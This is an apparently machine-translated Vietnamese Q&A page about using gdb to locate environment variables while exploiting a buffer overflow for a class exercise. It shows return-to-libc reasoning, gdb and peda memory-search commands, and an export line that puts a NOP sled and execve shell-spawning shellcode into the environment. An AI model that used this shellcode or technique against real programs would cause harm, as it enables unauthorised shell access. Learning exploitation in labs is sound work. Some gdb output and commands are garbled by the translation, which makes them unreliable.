it-swarm-vi.com

Tìm các biến môi trường với gdb, để khai thác lỗi tràn bộ đệm

Tôi phải khai thác một lỗi tràn bộ đệm rất đơn giản trong chương trình C++ dễ bị tổn thương cho một bài tập và tôi không thể tìm thấy biến môi trường Shell.

Tôi chưa bao giờ làm việc với BoF trước đây và sau khi đọc rất nhiều câu hỏi, bài đăng tương tự, v.v. Tôi có thông tin này (sửa cho tôi nếu nó sai):

  • Chương trình lưu trữ các biến môi trường trong một biến toàn cục gọi là environ
  • Tôi có thể tìm thấy địa chỉ của biến này như thế này:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • Tôi cần tìm /bin/bash chuỗi trong biến đó để khởi chạy Shell (Tôi đã có địa chỉ hệ thống và thoát, tôi chỉ cần tuyến đến Shell). Và đây là nơi tôi không biết phải làm gì. Tôi đã đọc hướng dẫn gdb, nhưng vẫn không có gì. x/s 0xb7fd1b00 không xuất ra bất cứ thứ gì hữu ích.

12
Palantir

environ là một con trỏ tới con trỏ, vì nó có kiểu char **environ.

Bạn phải thử một cái gì đó như:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "Shell=/bin/bash"
16
J.D.
  • Biến môi trường là 16 byte từ con trỏ cơ sở (% ebp).
  • Đặt một điểm dừng trong chức năng chính và làm điều này,

(gdb) x/wx $ ebp + 0x10
[.__.] 0xffffd3f8: 0xffffd48c
[.__.] (gdb) x/wx 0xffffd48c
[.__.] 0xffffd48c: 0xffffd67e
[.__.] (gdb) x/s 0xffffd67e
[.__.] 0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
[.__.] (gdb) (gdb) x/wx 0xffffd48c + 4
[.__.] 0xffffd490: 0xffffd6b2
[.__.] (gdb) x/s 0xffffd6b2
[.___ 0] 0

Tham khảo blog này

4
h1dd3ntru7h

nếu bạn có peda được cài đặt cho gdb, thì bạn có thể chỉ cần nhập cái này vào gdb:

gdb-peda$ searchmem Shell

Đầu ra sẽ hiển thị

Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
2
redgetan

Ngoài ra, bạn có thể sử dụng chỉ "refsearch biến_name" nếu bạn đã cài đặt peda cho gdb.

thí dụ:

Trước hết bạn nên thêm biến (một cái gì đó như Shellcode) vào môi trường.

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

Sau đó mở gdb với chương trình mẫu, ngắt chính và chạy.

Khi chương trình tạm dừng trên điểm dừng, bạn có thể tìm kiếm địa chỉ môi trường theo lệnh.

nghiên cứu Shellcode

0
user147694